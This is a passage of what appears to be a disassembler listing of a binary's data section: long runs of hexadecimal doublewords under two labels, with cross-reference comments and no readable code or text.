		dd 34E007E8h, 0D869BFCDh, 0E48E448Bh, 0E48F4489h, 0FFF77FFDh
		dd 34D3E8E8h, 0ECECD34Dh, 2BF4F0F0h, 0F8F8F409h, 6D8370FCh
		dd 8D047744h, 0FFFF00FAh, 6C191BFFh, 0E9AF868Bh, 3CF4FFBEh
		dd 115C4803h, 3664745h,	90C20B7Bh, 43FD0BA1h, 0FFFFFFFFh
		dd 11C17042h, 410E11A3h, 2B30FB78h, 6731748Dh, 84FC397Ch
		dd 92F6DD9Fh, 0E3FD0D24h, 3CC077FCh, 0FAB7F46Fh, 10E4D9F7h
		dd 708D4D22h, 0EF9933Ch, 0C42BE7E8h, 0FFFFFFFFh, 0D4902C3Bh
		dd 9B0AD607h, 0C2003EBh, 6F3E036Dh, 0CF25BD51h,	5A01EEEFh
		dd 4FB201EFh, 8612EE9Eh, 0F52FFFFFh, 29EEAB23h,	6CB7845Fh
		dd 24279040h, 0CAF1B0B3h, 0B2032D96h, 0BAE95675h, 0F5BFFF77h
		dd 5B4C730Bh, 84037C16h, 0A69A69B0h, 0A49C948Ch, 8CB13CB7h
		dd 0FE541C9Bh, 181CC4AFh, 1014BC03h, 160C0C10h,	6FFFFFD2h
		dd 404066Fh, 231330B0h,	3D805D0h, 0B63CFCE8h, 9B96E704h
		dd 0F8BB5B7h, 9752FA61h, 610B60FEh, 6BB1387h, 4491032Ah
		dd 24696668h, 1706F85Fh, 0E413D072h, 0AFE8F1F4h, 0F1437588h
		dd 1BFFD653h, 72599EFFh, 3F14A2AEh, 0A25945A2h,	3950D5ACh
		dd 42542252h, 0DBFF5DBDh, 0A585FFFFh, 672D1A67h, 37E1E4FDh
		dd 3E05072Dh, 180AEBB6h, 47C359C6h, 0A11DD8D8h,	0FFFFFF67h
		dd 70ECFFh, 19167524h, 0F1BB2F51h, 47900105h, 59069D50h
		dd 0C86D6B07h, 8D155FB7h, 914E7580h, 0FFFE859Dh, 0BBB647FFh
		dd 8DE4353Bh, 5B8C2277h, 0DB66C9EBh, 0D1E57F80h, 0E27D45E4h
		dd 0BFF16F63h, 6D6B14D1h, 9F870FE0h, 0FEE0282Bh, 8304FA8Bh
		dd 0FFA37F32h, 0FEEE99FFh, 8B939FC5h, 65D875FDh, 61E6A7Eh
		dd 58B9DE63h, 0D8382776h, 0FFFFFF61h, 103DD02h,	0AA57706Eh
		dd 0FDEE3B0Eh, 7EA8C58Bh, 50FA985Bh, 80C11EEBh,	6FF81655h
		dd 3B9F6FFFh, 0D56B6DD2h, 19753E61h, 0E8B747FFh, 0E70FD1CCh
		dd 8DFFF46Eh, 0FDD3ECDDh, 3FFFDADEh, 5392675h, 5FD411A8h
		dd 25FFFFFFh, 0C16532A4h, 0F128476h, 24881BDh, 76063889h
		dd 0C308A3F6h, 5921C35Dh, 0B8DFF14h, 0CD6D96FCh, 0EC00C73Dh
		dd 91D51571h, 0EC08D829h, 0FF0DCE0Ch, 4BFFFD4Bh, 69C5D6C0h
		dd 84A18A1Ah, 0EBB814Eh, 0E056A19h, 3A66F405h, 412E9695h
		dd 5FFFFFFh, 3FFA8338h,	0C6D75731h, 72641AADh, 7D72B0Ch
		dd 0FEF9A95Ah, 0FFCFE9DBh, 2760F42Fh, 0E1CA1006h, 0E8872177h
		dd 58ABF3FEh, 0FFC3270Ah, 58DFA5Fh, 5F60EAB7h, 79423C3h
		dd 68107927h, 1E085DA0h, 78EC0C0Eh, 46FFFF89h, 59B4F8C8h
		dd 0A523316Eh, 0EDF23182h, 12530CEFh, 2A854522h, 0B7FFFC1Bh
		dd 9E932A60h, 0B8216D21h, 88DA1286h, 0A1CA0D8Ah, 0E1FA97C3h
		dd 53FD5BFFh, 1C3FE056h, 9E3F9504h, 0F05649EFh,	4648E2CFh
		dd 0FF650C59h, 897EDFFFh, 35EBE45Dh, 0F796DF83h, 8B27742Dh
		dd 0C6A6FC43h, 3166E372h, 0B0C6D0DAh, 0F897FF75h, 4F34E4FFh
		dd 0E8CC4D6Dh, 0D6A1534Eh, 0D0217939h, 0F727BC2Eh, 46F60675h
		dd 0E97FFF89h, 0E67A3FFh, 223AE1A3h, 990708F0h,	66720442h
		dd 0E0082053h, 0C18CBCB2h, 16EF144Ch, 30FFFB7Fh, 0E32FE07Ah
		dd 0F731DDB2h, 53544601h, 0C186E120h, 74281630h, 0FFFFC4BFh
		dd 406E9434h, 0D99C4A0Dh, 9ABBF85h, 3D395C7Fh, 0FA56991Fh
		dd 8362DE42h, 0B8FFFFFFh, 25E8282h, 6C75E0B6h, 90BA1AF9h
		dd 5F845926h, 0CF62833Bh, 74249878h, 0FFF4BF44h, 8971EB7Fh
		dd 0CAC4D1EEh, 8856EB80h, 70DC6068h, 0B5743492h, 7356CD76h
		dd 0F1AADFD7h, 0A4D8DFFh, 0E6E91243h, 10B13FAFh, 5CCED421h
		dd 17321A88h, 0A4FF56F8h, 833C7D71h, 0E6A15BE8h, 0EB15E565h
		dd 0FF27A2BCh, 6FFFFFh,	14B94998h, 645CDDD5h, 20A331F4h
		dd 35365B5Ah, 84BFEDFAh, 74313B30h, 0FEB60F7Ch,	30A5FFFFh
		dd 74F32BE4h, 0AD761515h, 0FC4BADEh, 1B5CC49Fh,	850A18FFh
		dd 0D6C40B69h, 37FF0BFAh, 86701B05h, 264E6959h,	0DD2001B0h
		dd 64E69A02h, 0AB7E2702h, 1138DE37h, 98BAD7CDh,	94224F6h
		dd 70FEE9A4h, 2DFA5FFFh, 74047139h, 4C184D7Eh, 0D9C8DD20h
		dd 5200503h, 0B604C9B8h, 0D2FD6FFFh, 9706069Ch,	7DDFC79h
		dd 372078Fh, 66902608h,	49000864h, 0D6F6F897h, 9094C3Fh
		dd 0E6905028h, 0CB9E0A0Ah, 4B897D73h, 0E2660AB7h, 81395B02h
		dd 0C4D0C3Ah, 0DFFFFFB9h, 1B52E80Ah, 980D200Dh,	9A40993Bh
		dd 0F770E0Eh, 2991968Fh, 5D520FA4h, 10CBFFF8h, 597DD610h
		dd 4D103010h, 604C9C29h, 641111CDh, 0FBBF1912h,	3435BFEDh
		dd 1E7121Fh, 23CF2C13h,	1401C213h, 148D7714h, 9D99144Dh
		dd 745BDDF1h, 78D5158Ah, 8F11CD16h, 17175716h, 2F4B897Fh
		dd 32214CE2h, 451327CDh, 9184D18h, 0FFE91919h, 207177E6h
		dd 1A00E819h, 1BC71ABAh, 0F2F71B8Fh, 0A2429Ch, 0BADB7EF2h
		dd 0AE2C9E55h, 0BF084DE3h, 39A61C7Dh, 0DF6FFFFFh, 601D1D85h
		dd 900EE61Eh, 1F83431Eh, 0FFC0B81Fh, 3227521h, 2BCA03C2h
		dd 0FFA97AFAh, 86A93042h, 536DC7FBh, 0FF0B6315h, 16FF8731h
		dd 0BC145FFFh, 622179ABh, 0C65755BDh, 80F23994h, 1BEDB7CDh
		dd 0EDE4510Ah, 74FB7FFFh, 6DF24D71h, 0D2F22B06h, 3F9669AEh
		dd 12548DC2h, 1CE5D5F2h, 0F05069A4h, 0E5FADFFFh, 29E6E6B8h
		dd 0E79B0370h, 707365E7h, 5F762B08h, 9216E882h,	0EDFE1BEEh
		dd 7D742F2Fh, 271548E8h, 4ECCEB96h, 0E920E94Ch,	552D9309h
		dd 0EAEEFFE0h, 3BE40CEAh, 0E7EB8EEBh, 604EECFEh, 0FF4F2C87h
		dd 316C2FE1h, 46E94EFEh, 9EED20EDh, 7DEEEE4Fh, 776465EFh
		dd 0AFDB817h, 58EF8EE9h, 90E4D3F0h, 3A39306Eh, 0BE0FF1F1h
		dd 0F2EDA5E1h, 0F24CC8CDh, 69F3F3DEh, 0F4FDC991h, 0BF8668F4h
		dd 0EB38DFE1h, 0F43005DAh, 0E6DAA04Dh, 7F20F5F5h, 159AE1F6h
		dd 0F6F0FC0Ah, 4B1EF75Eh, 0A4FD39F7h, 0FF9BF043h, 4CF865BFh
		dd 0E466F911h, 0F920D204h
		dd 0E9FAFCF0h, 8EFBCFFAh, 2A34C9FBh, 0AAB6DB7Ch, 6F7400FCh
		dd 0E56722DDh, 5AA5FFFFh, 5CD3E47Ah, 0FD46D749h, 0FE1BFD1Ah
		dd 4D212A6Dh, 75BA13FEh, 0C293FFA9h, 0DEEE5FEBh, 0CD402A75h
		dd 0C94D2BFFh, 0FFF81785h, 4C8DB817h, 532B9D09h, 6C71C12Ch
		dd 96435B05h, 4B475585h, 0E17FFF46h, 0F7E3E313h, 0D1E3B027h
		dd 20E4FBFDh, 327348E4h, 1784DC81h, 8F02FFEh, 0FC482693h
		dd 9ED90E13h, 0E7FB9647h, 3AC21D8Eh, 0F0B817E2h, 6E4CC099h
		dd 9A392DABh, 0FB2CFB4Dh, 5BB7FFC8h, 8E85305Ch,	996BEB59h
		dd 0DF4CEB76h, 0E400ECFAh, 0DFFF7250h, 0BE0AFFFDh, 96FA9DFAh
		dd 8EB614E7h, 0EFEFFA78h, 4CEF43D6h, 250EF050h,	2F00B0A7h
		dd 0BFF0EFAh, 0F8FAB7FFh, 0E98E4B61h, 272F3F9h,	4C07643Bh
		dd 2192F9C1h, 51FF29A4h, 0EDFFB636h, 165853F9h,	0F65A6EF9h
		dd 0F99E591Ah, 3C0F00F7h, 0F06FDDD6h, 0F8313237h, 0A1C96100h
		dd 0F8EFF95Eh, 0CAEC211Eh, 0EB7FFF12h, 0EFBFBF8h, 4CFBD813h
		dd 0FC20FCA2h, 8133ACB6h, 0FF810681h, 34F46C1Bh, 0FE1D5727h
		dd 3B3635D2h, 40124924h, 0FFFF2471h, 9612FEEFh,	167E006Bh
		dd 0E21B61DFh, 6EE2E2B0h, 72358539h, 2CE3F7F1h,	5842F7D0h
		dd 6FF32872h, 0F7AFFFE1h, 0F6C8763Fh, 0E6F78A9Ch, 664CF78Eh
		dd 6C2CE762h, 7E1B0BC5h, 0F720F741h, 0FB77988Eh, 26B0E5F6h
		dd 0EF1DC28Fh, 0F6D384BEh, 0B2B94B2Ch, 0B7F691F6h, 0DB6C8E61h
		dd 0FF0DFDBFh, 62C23C9Ah, 1F64438h, 0F6232CC2h,	5CE5F602h
		dd 0F5DD8E2Dh, 0DBF6D4F2h, 585793FFh, 0B538F29Ch, 0C99287F5h
		dd 73F5942Ch, 0E9AC46F5h, 77BB7FFFh, 7B22F54Eh,	0F6F62C8Dh
		dd 7674D3Ch, 2C256759h,	1AF82004h, 0C37FFD2Dh, 0F4E3F8BDh
		dd 1E1939F9h, 0E4FAF4BEh, 0FA931611h, 0FFF49638h, 81ADF97Fh
		dd 0F4752C8Ch, 0F454299Ah, 0F9662F8Eh, 8FDDAB7Ah, 349066FEh
		dd 0FFFFFFA5h, 3EF7F484h, 6E516151h, 0D60F70A6h, 0D5D84FFBh
		dd 13302D82h, 0E23D1F03h, 0FFF8CBA4h, 5459EEB7h, 6BFF00E1h
		dd 0E2F30B91h, 4392C241h, 8EF3AFC9h, 0DF4C54F3h, 806C2FFDh
		dd 58C2F369h, 79584793h, 2541F341h, 0FFF32096h,	0BFFFB2F2h
		dd 863C85FDh, 0E9F2DA8Eh, 6AC694E9h, 96F2B27Ah,	913ACA1Ch
		dd 0F27041F2h, 0FFFE1B6Fh, 0C2991964h, 0EDED4B8Eh, 0D5847928h
		dd 0E1F2237Ah, 0E1170275h, 0FCB864F1h, 39E3C2FFh, 0F1F1BCE2h
		dd 5E4F13Ch, 707B55D2h,	0A1D6F193h, 5EE8DDBFh, 0F151424Dh
		dd 0F1A5B0BFh, 9356BEF5h, 17047AF5h, 0F1FF0BF8h, 0A1C848B2h
		dd 176EF0E3h, 0F0C2BC96h, 0AB659D8Eh, 0D5BFF6C9h, 0C3F9F2DBh
		dd 8C50EB28h, 41F054F0h, 725B0A75h, 0FE261833h,	0A40EC6FFh
dword_40D7B0	dd 4596BE4Ah, 0CA84DD12h, 3C59E815h, 0FECCC21Bh, 0C7FFD0BFh
					; DATA XREF: .data:003E4C78o
					; .data:00417478o
		dd 51FD8C87h, 0C22B1610h, 0F766B73h, 0EDB840D1h, 561F4107h
		dd 0D2FAA401h, 0C03797ADh, 73EECC20h, 3AB478Bh,	0DFF4EBDh
		dd 4A47142Eh, 0C9E09BDCh, 0C2E48765h, 0A5751188h, 68FFD28Dh
		dd 0BB3F6584h, 804B1CB2h, 2A3454Eh, 0FFFE2D7Eh,	4E201CFFh
		dd 0A8467501h, 0CEB101B4h, 0A02D30B5h, 7FB71009h, 0BFD07281h
		dd 0EADADFD4h, 4049FFh,	0F2034DE6h, 5BA69B51h, 57CD5658h
		dd 0B8558463h, 72F4BFC5h, 0DF2E5CB9h, 50D34CC7h, 5C6554F5h
		dd 0EDFF58CDh, 65D65FFFh, 2CD347C9h, 4BA9CB97h,	53D64FB5h
		dd 36201A3Ah, 0AB47264Dh, 0FF4A8B46h, 97D6FFFFh, 72CD334Eh
		dd 0FC2852B8h, 1B280849h, 9F917354h, 6FC6E1ADh,	46FDBE5Fh
		dd 0FFE8DC0Ch, 637500FFh, 5875ACE8h, 6C484689h,	68040E89h
		dd 7E0A4E89h, 0FF8B04D8h, 0C64BFFFFh, 0FD69680Dh, 840D8B12h
		dd 0A1B82968h, 704811DEh, 0E3718175h, 6CBB9F89h, 7FE25FEBh
		dd 5A87E81h, 161C6788h,	81F080Ah, 0B2DDFCCFh, 0FF8B7F6Ah
		dd 1504A4FFh, 27040F6h,	2831475h, 0DBEA2E62h, 8B7D017Dh
		dd 4405908h, 0FFFFFF1Ch, 3CD4C6FFh, 7A043C10h, 0C0F09910h
		dd 47B85F0Dh, 83F02BD1h, 1BCACB8h, 8474137Eh, 6AAD0760h
		dd 0FFFC4B08h, 157822FFh, 5BF407A0h, 8B10EBCBh,	6FFDC880h
		dd 0D45FC04Dh, 0A7834804h, 0F85FFF80h, 0F80F4846h, 0A646183h
		dd 3DF38C1Ah, 0DCE9AACCh, 6C5B6F6h, 12FFFFFFh, 0B95891D9h
		dd 7E024128h, 0BDC3AA87h, 0E8534849h, 49B59073h, 17681677h
		dd 85FFA97Fh, 7AEE2750h, 192DB712h, 7C22DEC2h, 2C064314h
		dd 89712FD2h, 7E412AFFh, 64FA8ECBh, 809F18ECh, 8CBED4E8h
		dd 0FC5BF139h, 0F412E1FFh, 5473DE3Bh, 4B983A0h,	0BEBDDC14h
		dd 875301E8h, 0FFFFFF17h, 818BC52Fh, 0EE968B6Dh, 8F0158D9h
		dd 0DB3B100Fh, 18CC938Eh, 98504A5Fh, 6C87D2F4h,	0DFFF83DFh
		dd 9860ADEAh, 0E05D133Ch, 381131E8h, 6B89B7DEh,	0D1797DC1h
		dd 5A7E97FFh, 46E7DB9Bh, 7C3A502Eh, 138A12CBh, 46FFD16Ah
		dd 0FFFFFFC0h, 5DF90ABFh, 0FE45C6FDh, 15EB5900h, 6748B65Eh
		dd 16542AE3h, 4100FDFCh, 0E6FFE80Eh, 0FFFF9851h, 0D706FFFFh
		dd 6AF8558Dh, 6B515203h, 6D8BED88h, 4CB070D0h, 7224AA88h
		dd 0A91A2955h, 0D7FFD5BFh, 540B286Fh, 0D525E897h, 4D2A6845h
		dd 0F0F3E1F9h, 0FF56F871h, 0BF8657Fh, 0F03FA6C1h, 0FE415B5Eh
		dd 3A2E7D05h, 83119E48h, 0DA97FFFFh, 127A7B43h,	0CF4A493Dh
		dd 828D0F4Ch, 8AB3451Bh, 42DD3211h, 0FFFFFCA1h,	8410FFFFh
		dd 8A6F74D2h, 0CC840171h, 1419F758h, 80BA9600h,	983A118Ah
		dd 0B3AA5B17h, 0C50D9437h, 0CBFFFFFh, 66F3F10Ah, 501B67FFh
		dd 0C612C385h, 7E8DE975h, 2618AFFh, 0FFF4B5DDh,	84F7B06Fh
		dd 3A02284Bh, 8ABE75C4h, 8A183544h, 7B5D5F66h, 6FFFFFFFh
		dd 7410C178h, 31ABEBDFh, 7DCB8A36h, 0F725BC23h,	0FF478D32h
		dd 5C7BC0Ch, 0C23720C7h, 0FFD5BA17h, 39BB406Fh,	1D750C5Dh
		dd 46535325h, 0F7160599h, 0FFFF0BFCh, 19517268h, 0EB08112Eh
		dd 0D528684Dh, 0DCBBB152h, 8A38614Ah, 10245AA6h, 4BFF46FFh
		dd 0A22DED7Ah, 224840A1h, 0CA86587Fh, 7F3442B3h, 0FFA19BEBh
		dd 0E44DFFFFh, 0C478F08Bh, 0BD8DD953h, 0EB1888E0h, 7DFF5327h
		dd 0B05439EAh, 0CC2B06B0h, 7EDAA195h, 0DFC7D577h, 776E463Ah
		dd 0BFFEA5FFh, 0F757EB5Ah, 7505ADC1h, 83740B01h, 0BACF97CAh
		dd 103DD401h, 837FEF75h, 11FF02Fh, 7E1CFFBAh, 1283D003h
		dd 33C90BB7h, 0E85F1EC2h, 0A904F12Fh, 0E8730118h, 0DCFC418Bh
		dd 23285066h, 0FFA91A11h, 0A9FFFFh, 0BC060E3Ch,	7D196F6Dh
		dd 798DCDF4h, 0FE040DC6h, 583C08EBh, 0C0FDBCB7h, 7E142FE3h
		dd 630C64FCh, 78DD161Dh, 886688E1h, 0FFFDDF17h,	16B07F8Eh
		dd 0EBEA3EEBh, 726BEA05h, 4DD0DD6Dh, 6F118B76h,	0B73431E1h
		dd 0BFFADFEh, 6D00C283h, 126D8DECh, 0CBC76E07h,	442367ECh
		dd 6DC60866h, 93951BF5h, 37B00876h, 0FFC6D82Ch,	5BFE97FFh
		dd 390E1C00h, 54E2464h,	3B2D3D13h, 32FF061Ah, 49C97088h
		dd 0FFFFFFF8h, 55411324h, 2D6C932h, 0FDFE09D1h,	4C98ECA3h
		dd 70E8C5FCh, 271D01F0h, 0B81E0560h, 0FFFFFF04h, 246DF8B7h
		dd 3D81C720h, 0F75B00B8h, 5A4DFDDBh, 3CA13375h,	0EB88108h
		dd 22AD4550h, 0FFE2DFFFh, 54B7B81Bh, 0B189A2Ah,	0C674B1ACh
		dd 0E74BDD8h, 39750E76h, 0F0AE888h, 0FFFFD5BFh,	1DE0295h
		dd 6A9789D0h, 0AC06860h, 0EC495A36h, 642087h, 18A0DAADh
		dd 0FFA978B7h, 78BF65B4h, 174070A1h, 4144871h, 0D31C5A98h
		dd 52FFFFE3h, 1B9BC8Fh,	6A0D5BFCh, 274D6C12h, 3E89614Fh
		dd 75B01334h, 7ED52FFFh, 112DDC10h, 2B16F433h, 6CB21D00h
		dd 7C85430Dh, 0DF4B0405h, 0B2DCFFFEh, 8CBF8D6h,	0C7E8BD8h
		dd 5DAFE781h, 44BC9A28h, 5E6E00Bh, 0FFFFAB7Fh, 0D809CF81h
		dd 2213140Eh, 0DF26C128h, 8B7FEDDDh, 89C28C55h,	0A6724835h
		dd 0FFFFFD5Bh, 890450A3h, 1505540Dh, 9F33EE4Ah,	844C3D58h
		dd 6D3F5D4Bh, 51533FB9h, 0FFFA17D0h, 7B7F59CEh,	0B6324E1Ch
		dd 76059C9Bh, 27924D91h, 0FFFFD965h, 6320BFDBh,	7DE78F18h
		dd 1B146B58h, 8559C260h, 5215A30Ch, 0F8676464h,	0E0A3B28Eh
		dd 0FFA5FFFFh, 0F98D2580h, 91937F08h, 986E0DDh,	59DE6173h
		dd 4ECBF6h, 84292279h, 0FFFFBC5Dh, 610C12ADh, 5F4DB981h
		dd 51590A6Ah, 0EA075050h, 140DF89h, 0FFD1BFFFh,	3003EFDFh
		dd 3006B965h, 1095263h,	0EBD2EDF1h, 8BECA42Eh, 4D8909EEh
		dd 0E97A817Dh, 156D85D4h, 97E289F1h, 852FD416h,	0BFFFFFFh
		dd 8363CFB4h, 0EC1871A0h, 3DEBA219h, 75B81229h,	22CC019Fh
		dd 0E96F9242h, 0E25E8CF6h, 0E452FFFFh, 0E963628Ah, 99A205BAh
		dd 0D3BF0D80h, 16FC7FBBh, 8D06E2CEh, 0FEB7FF9Bh, 6F0FD7ADh
		dd 104E0306h, 476C1AEh,	305E2056h, 4F03077Fh, 0FFEB7A37h
		dd 9BBB3612h, 7F577FCDh, 0AD666F5Fh, 1076506Eh,	0FFC5D766h
		dd 7E6DFFFFh, 13671870h, 777F6F7Fh, 47DFEE7Fh, 8D707FF1h
		dd 5BF14B6h, 8BA37549h,	0BFFFF56Fh, 682AE656h, 1C862379h
		dd 0CC181ADFh, 89AE83F4h, 7B5599C3h, 5BFFE2A5h,	0D65DE85Dh
		dd 8DCAC633h, 6C41AF5Ah, 7633F874h, 7FFF49FAh, 0A006FF83h
		dd 8BFE06B6h, 2BD70BD1h, 1FCECE8Bh, 2E02C77Fh, 0F13B8CDDh
		dd 0FF0B2B4Eh, 9CF1FF46h, 8205764Fh, 8E312A11h,	0B6A25FF8h
		dd 3424F77h, 0EAA5FFFEh, 17D12BD3h, 0D50AD803h,	5DC7A976h
		dd 6FEC39F0h, 0A5DF8217h, 8D85C1BFh, 537AA4F3h,	3575CF3Bh
		dd 0FFFD9C93h, 0DC25FD0Bh, 0E44A6C21h, 62921B8Ch, 3B9D681h
		dd 5553D10h, 0BE4F2B57h, 0BC6FFFFFh, 618D83D6h,	42F1AE5h
		dd 9136092Dh, 8BA5F3ADh, 758DCF9Fh, 8B5403AFh, 0DBFFFFFCh
		dd 259FE2C9h, 8239DDE9h, 933A05F8h, 670AA353h, 81E97E87h
		dd 43B7C89h, 0FE8508CDh, 6C9A6FFFh, 4A16EAD0h, 9A5F2DF9h
		dd 256B66EDh, 0C7711BEh, 0FFFF346Ah, 0C1AFFFFh,	0E1BFC102h
		dd 0C04405C3h, 3B590E6Ah, 23C01BC8h, 0AD1DEE95h, 0DFC208C3h
		dd 70B806BFh, 0FFFE2061h, 7C7CE05Fh, 0C748E72h,	42F856C3h
		dd 1FC058A5h, 88951CEh,	1058A3A9h, 0EDE8D863h, 5F305A37h
		dd 0C0450A28h, 0E56E60Ah, 0F02FFF8Ah, 61087597h, 1C34D16Bh
		dd 67497257h, 3E4AD014h, 0A21A6953h, 0FFFFC0BFh, 4DC45B82h
		dd 0B755EB7h, 45720577h
		dd 312444B0h, 0DF358AEh, 0DB39ACD7h, 0FC0BFF83h, 0C0940FDCh
		dd 829CA868h, 652045A5h, 0CF8296A3h, 0B7FF8D6Dh, 86B252FFh
		dd 8EA3B473h, 0C908EED0h, 1D096824h, 1083CF53h,	0DFFF0A1Ch
		dd 2929FFF8h, 57F1E01Ch, 0B3A28h, 9D0CAEBh, 0BF24AEDDh
dword_40E000	dd 3C830FF0h						; .data:003E4C74o ...
		dd 0A6184F5h, 0FC5B1BFFh, 0B1048D1Eh, 80C2F5D4h, 0A0683826h
		dd 430380Fh, 0FFFFD118h, 475BE25Fh, 0CDAEA76h, 7C243D46h
		dd 16C436D2h, 2413CC0Eh, 0F1EB7B29h, 0E0DFB783h, 0ADCFB7Fh
		dd 0F2E03C74h, 85FB6BE1h, 13293E62h, 0E001CB83h, 0D2FF7B57h
		dd 0E2D1F0BFh, 262F5018h, 0DBB1889Fh, 0FEA1B82Fh, 7C2262A0h
		dd 0FFFF29DCh, 0CB5FFEDFh, 148C5FCAh, 1F509129h, 894386EFh
		dd 0F85239E6h, 2AC534FFh, 1018C40Dh, 0E97F5D62h, 0E83BFC1Bh
		dd 2082B414h, 0A26BC190h, 0E5D38870h, 52205D8Eh, 0EDFFFFFFh
		dd 0D4348D5Fh, 625BFA1Eh, 7DC751A1h, 9F942B6Ah,	0E08C0559h
		dd 180F2229h, 6CA0A4C6h, 0FFFF837Fh, 72B8514Bh,	0B708C235h
		dd 82C752Fh, 4590457h, 17F68E6Ch, 2EC135C4h, 0A37FC6FEh
		dd 9D0B6AD0h, 991A07EBh, 534024E4h, 59D40A95h, 0FFFFFFE3h
		dd 0D82B1C17h, 7C381683h, 1A509B0Dh, 112AACDBh,	41882455h
		dd 464CD36h, 497FCA07h,	2FFFFFCh, 0C279B04Ch, 8EE0FC04h
		dd 0D2CBC301h, 0D45CC967h, 0DC167240h, 0BFFFE8A3h, 57C52FC0h
		dd 62C52050h, 0FE05ECB2h, 105CBAFBh, 1F0DBFA4h,	7FFF38A1h
		dd 0C96BFF83h, 2C80314h, 92A689B1h, 5D0C5008h, 0BA17F402h
		dd 0C0887222h, 0C2F43B14h, 72C1FF1Bh, 628E69EAh, 41490C03h
		dd 0C12E9D10h, 0A350D30Bh, 79806FFFh, 0EFC1FC55h, 0BF5DDC95h
		dd 5469CFC3h, 0BFFFFFFFh, 44018CF7h, 0E40E398h,	0EF92F82h
		dd 0C0C1F649h, 0A2A6FAD4h, 1C8DAF34h, 1E138B31h, 0F825B76Ah
		dd 0BB52FFFFh, 5FC56ABh, 0C2F608B4h, 0FE02971Dh, 0C174781Bh
		dd 7A4A04FAh, 0FFFFFFEAh, 8B5A0C76h, 0AB7DBA0Bh, 84B954Bh
		dd 200F4275h, 16FF48BBh, 1973B4BFh, 0FAEBD3EDh,	0B75FFFFFh
		dd 21D31E02h, 0FE44B85Ch, 0FD93A809h, 802375DDh, 1CEB1921h
		dd 19E04A8Dh, 0F0BFFF9Ch, 0D3EB3017h, 61C1319h,	0A653DF16h
		dd 0D6CAB6D9h, 0FC5D045Bh, 37FF5AF4h, 0CBF86FFEh, 55D02B5h
		dd 93178A52h, 981D444Ah, 0E3045D75h, 0BAB9BD01h, 0F56FF897h
		dd 478FC22Fh, 0FBC11101h, 0ADD4A004h, 5E4B48A0h, 0FFFFFFFFh
		dd 6DB3DCD4h, 47DE6889h, 0D63B35F8h, 829AD940h,	3BD611EFh
		dd 0D55E74DAh, 0FD71B371h, 3B7E445Bh, 0FFFFFFFFh, 0BE20FB83h
		dd 0EED3CBDCh, 7421D6F7h, 0DF7D6F63h, 4034CAFh,	31942175h
		dd 0E04B8DC8h, 0DAC5B417h, 56C0BFFFh, 3FD2AD9Dh, 2D9CB245h
		dd 0A649AFB1h, 8040B4Eh, 0D6FFFFFFh, 0A6BC6AB9h, 0A9405BC6h
		dd 8DB54F6h, 0CDB58F6Fh, 2DD9EDFCh, 0D10C8DF0h,	0FDBF598Bh
		dd 5E24FF06h, 4AD97005h, 80B2DD7h, 8A604E88h, 14DF0D48h
		dd 0FC0B4D88h, 0FE0FFFFFh, 0B8845C1h, 0C2844273h, 3F0F2CB6h
		dd 35534A0Eh, 0BB6211B6h, 7FFF19DDh, 5D0BFFE1h,	6009A744h
		dd 0A58DB186h, 2556E129h, 2D748F63h, 0EABA0F63h, 9B7848Dh
		dd 0FFFFFFFEh, 1A37F576h, 689C901h, 0FC304489h,	7D08FFA3h
		dd 331668F5h, 306CA1F3h, 6F32D9D8h, 0FE0DA0FCh,	6D8DFFFFh
		dd 24358B94h, 0D77B409Dh, 60C160DEh, 570C4803h,	0FF5153BDh
		dd 5FC71FD6h, 0B78DFFFAh, 95B3236h, 8B0E0850h, 0EFB0FB40h
		dd 0A48320B3h, 0F8946C88h, 1500FDBFh, 0A4348FEh, 483FB4DDh
		dd 43798010h, 86096A7h,	5BFF0BF4h, 0D881B63Dh, 65647880h
		dd 129870FBh, 12BDD142h, 6FE37D2Fh, 38FC7C54h, 36E43072h
		dd 2BED158Bh, 146814E8h, 0FADFFC5Bh, 140D9F6Fh,	51A786ACh
		dd 7F7C9569h, 0E92AFF72h, 0C6FF77FDh, 2BE242FFh, 86D4476h
		dd 0F13F1B14h, 0A3213755h, 5BA2FF40h, 0FFFF52FCh, 0D4F6BDh
		dd 5649A109h, 974B34EAh, 3BD555BEh, 10303409h, 0F0BF336Bh
		dd 0CBB0BFFh, 377F6BE2h, 0C73B9157h, 8886D26Ch,	7F83780Dh
		dd 0FFFFF435h, 1958FFFFh, 0F67AA3E9h, 41C4682Fh, 0D25BE85Fh
		dd 893508D6h, 6AC774C5h, 416A7B04h, 0C204A0Bh, 2FFF5795h
		dd 5219FFFCh, 286414B4h, 6C4F1240h, 57D81FB5h, 4E839BFFh
		dd 6A897A41h, 420BBD1Dh, 0F4A97E95h, 56205FFh, 0B60C7AF4h
		dd 32925F79h, 0BFFFFFFFh, 0F910337Bh, 0D2612938h, 37A1A2Dh
		dd 0F95943C0h, 0C3C06912h, 39C7037Dh, 96FD3084h, 0B7FF895Ah
		dd 840FEDAh, 0B0776E16h, 7B4AEB02h, 0CFFB8B82h,	79D82D10h
		dd 0BFFFE769h, 0C79D6C4h, 60943F8Ch, 7593245h, 7000978Dh
		dd 78DC4B0Ah, 0E2DFFC5Bh, 58E6FA69h, 0CF2B6143h, 0C1FA0CB6h
		dd 10E3E25Fh, 0D2FFFFF8h, 83D2487Dh, 8D42EC88h,	0D740BE90h
		dd 102516D5h, 0C713EF07h, 0DFF0FC40h, 8D3712E8h, 4A6FFB9h
		dd 0C083AC7h, 0F552067Eh, 0D28EE97Fh, 66B86B16h, 9BE35AFBh
		dd 4F8D33A2h, 0BFFFF49h, 0C0B9E8FCh, 898CD97h, 9E644196h
		dd 8D560044h, 0BCF1F8FFh, 468A2D9Eh, 0FFC6FFFFh, 0F6C88A43h
		dd 0E0DE3102h, 4318A886h, 478093Eh, 0E35B5060h,	0F7EA904Dh
		dd 6D121D2h, 0E264F16Fh, 61BD0D5Fh, 0F5260C54h,	0BE97FF52h
		dd 0C7112BACh, 0CD51E40Eh, 88EAC117h, 0CA59215Bh, 0F12FFFB0h
		dd 4036FCFFh, 49E6B685h, 1F8BD203h, 11D8A289h, 558E2E10h
		dd 1C3F61Dh, 42F8006Fh,	32DDF5Eh, 0FF35145h, 0FFFF3B8Fh
		dd 0C1311BFFh, 0A156E0F9h, 664904C5h, 6763542h,	895DAD97h
		dd 5F8B07E5h, 83435FDBh, 0FFFFFFFFh, 9069EB64h,	0F8631AF9h
		dd 0A16C01DCh, 26906793h, 1CE0261Fh, 0B5D243BAh, 84F90DFh
		dd 0D0FD894Dh, 0FFF1BFFFh, 208F6C2h, 1E79097Fh,	7601CE2Bh
		dd 3376A274h, 7C0984A5h, 4AAEFEDDh, 0FFFFFFC1h,	4F04FFFFh
